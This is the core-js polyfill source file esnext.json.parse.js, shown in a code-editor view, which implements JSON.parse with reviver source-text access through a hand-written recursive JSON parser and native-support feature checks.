${this.title}
Close
Code Editor : esnext.json.parse.js
'use strict'; var $ = require('../internals/export'); var DESCRIPTORS = require('../internals/descriptors'); var globalThis = require('../internals/global-this'); var getBuiltIn = require('../internals/get-built-in'); var uncurryThis = require('../internals/function-uncurry-this'); var call = require('../internals/function-call'); var isCallable = require('../internals/is-callable'); var isObject = require('../internals/is-object'); var isArray = require('../internals/is-array'); var hasOwn = require('../internals/has-own-property'); var toString = require('../internals/to-string'); var lengthOfArrayLike = require('../internals/length-of-array-like'); var createProperty = require('../internals/create-property'); var fails = require('../internals/fails'); var parseJSONString = require('../internals/parse-json-string'); var NATIVE_SYMBOL = require('../internals/symbol-constructor-detection'); var JSON = globalThis.JSON; var Number = globalThis.Number; var SyntaxError = globalThis.SyntaxError; var nativeParse = JSON && JSON.parse; var enumerableOwnProperties = getBuiltIn('Object', 'keys'); // eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; var at = uncurryThis(''.charAt); var slice = uncurryThis(''.slice); var exec = uncurryThis(/./.exec); var push = uncurryThis([].push); var IS_DIGIT = /^\d$/; var IS_NON_ZERO_DIGIT = /^[1-9]$/; var IS_NUMBER_START = /^[\d-]$/; var IS_WHITESPACE = /^[\t\n\r ]$/; var PRIMITIVE = 0; var OBJECT = 1; var $parse = function (source, reviver) { source = toString(source); var context = new Context(source, 0, ''); var root = context.parse(); var value = root.value; var endIndex = context.skip(IS_WHITESPACE, root.end); if (endIndex < source.length) { throw new SyntaxError('Unexpected extra character: "' + at(source, endIndex) + '" after the parsed data at: ' + endIndex); } return isCallable(reviver) ? internalize({ '': value }, '', reviver, root) : value; }; var internalize = function (holder, name, reviver, node) { var val = holder[name]; var unmodified = node && val === node.value; var context = unmodified && typeof node.source == 'string' ? { source: node.source } : {}; var elementRecordsLen, keys, len, i, P; if (isObject(val)) { var nodeIsArray = isArray(val); var nodes = unmodified ? node.nodes : nodeIsArray ? [] : {}; if (nodeIsArray) { elementRecordsLen = nodes.length; len = lengthOfArrayLike(val); for (i = 0; i < len; i++) { internalizeProperty(val, i, internalize(val, '' + i, reviver, i < elementRecordsLen ? nodes[i] : undefined)); } } else { keys = enumerableOwnProperties(val); len = lengthOfArrayLike(keys); for (i = 0; i < len; i++) { P = keys[i]; internalizeProperty(val, P, internalize(val, P, reviver, hasOwn(nodes, P) ? nodes[P] : undefined)); } } } return call(reviver, holder, name, val, context); }; var internalizeProperty = function (object, key, value) { if (DESCRIPTORS) { var descriptor = getOwnPropertyDescriptor(object, key); if (descriptor && !descriptor.configurable) return; } if (value === undefined) delete object[key]; else createProperty(object, key, value); }; var Node = function (value, end, source, nodes) { this.value = value; this.end = end; this.source = source; this.nodes = nodes; }; var Context = function (source, index) { this.source = source; this.index = index; }; // https://www.json.org/json-en.html Context.prototype = { fork: function (nextIndex) { return new Context(this.source, nextIndex); }, parse: function () { var source = this.source; var i = this.skip(IS_WHITESPACE, this.index); var fork = this.fork(i); var chr = at(source, i); if (exec(IS_NUMBER_START, chr)) return fork.number(); switch (chr) { case '{': return fork.object(); case '[': return fork.array(); case '"': return fork.string(); case 't': return fork.keyword(true); case 'f': return fork.keyword(false); case 'n': return fork.keyword(null); } throw new SyntaxError('Unexpected character: "' + chr + '" at: ' + i); }, node: function (type, value, start, end, nodes) { return new Node(value, end, type ? null : slice(this.source, start, end), nodes); }, object: function () { var source = this.source; var i = this.index + 1; var expectKeypair = false; var object = {}; var nodes = {}; while (i < source.length) { i = this.until(['"', '}'], i); if (at(source, i) === '}' && !expectKeypair) { i++; break; } // Parsing the key var result = this.fork(i).string(); var key = result.value; i = result.end; i = this.until([':'], i) + 1; // Parsing value i = this.skip(IS_WHITESPACE, i); result = this.fork(i).parse(); createProperty(nodes, key, result); createProperty(object, key, result.value); i = this.until([',', '}'], result.end); var chr = at(source, i); if (chr === ',') { expectKeypair = true; i++; } else if (chr === '}') { i++; break; } } return this.node(OBJECT, object, this.index, i, nodes); }, array: function () { var source = this.source; var i = this.index + 1; var expectElement = false; var array = []; var nodes = []; while (i < source.length) { i = this.skip(IS_WHITESPACE, i); if (at(source, i) === ']' && !expectElement) { i++; break; } var result = this.fork(i).parse(); push(nodes, result); push(array, result.value); i = this.until([',', ']'], result.end); if (at(source, i) === ',') { expectElement = true; i++; } else if (at(source, i) === ']') { i++; break; } } return this.node(OBJECT, array, this.index, i, nodes); }, string: function () { var index = this.index; var parsed = parseJSONString(this.source, this.index + 1); return this.node(PRIMITIVE, parsed.value, index, parsed.end); }, number: function () { var source = this.source; var startIndex = this.index; var i = startIndex; if (at(source, i) === '-') i++; if (at(source, i) === '0') i++; else if (exec(IS_NON_ZERO_DIGIT, at(source, i))) i = this.skip(IS_DIGIT, i + 1); else throw new SyntaxError('Failed to parse number at: ' + i); if (at(source, i) === '.') i = this.skip(IS_DIGIT, i + 1); if (at(source, i) === 'e' || at(source, i) === 'E') { i++; if (at(source, i) === '+' || at(source, i) === '-') i++; var exponentStartIndex = i; i = this.skip(IS_DIGIT, i); if (exponentStartIndex === i) throw new SyntaxError("Failed to parse number's exponent value at: " + i); } return this.node(PRIMITIVE, Number(slice(source, startIndex, i)), startIndex, i); }, keyword: function (value) { var keyword = '' + value; var index = this.index; var endIndex = index + keyword.length; if (slice(this.source, index, endIndex) !== keyword) throw new SyntaxError('Failed to parse value at: ' + index); return this.node(PRIMITIVE, value, index, endIndex); }, skip: function (regex, i) { var source = this.source; for (; i < source.length; i++) if (!exec(regex, at(source, i))) break; return i; }, until: function (array, i) { i = this.skip(IS_WHITESPACE, i); var chr = at(this.source, i); for (var j = 0; j < array.length; j++) if (array[j] === chr) return i; throw new SyntaxError('Unexpected character: "' + chr + '" at: ' + i); } }; var NO_SOURCE_SUPPORT = fails(function () { var unsafeInt = '9007199254740993'; var source; nativeParse(unsafeInt, function (key, value, context) { source = context.source; }); return source !== unsafeInt; }); var PROPER_BASE_PARSE = NATIVE_SYMBOL && !fails(function () { // Safari 9 bug return 1 / nativeParse('-0 \t') !== -Infinity; }); // `JSON.parse` method // https://tc39.es/ecma262/#sec-json.parse // https://github.com/tc39/proposal-json-parse-with-source $({ target: 'JSON', stat: true, forced: NO_SOURCE_SUPPORT }, { parse: function parse(text, reviver) { return PROPER_BASE_PARSE && !isCallable(reviver) ? nativeParse(text) : $parse(text, reviver); } });
Close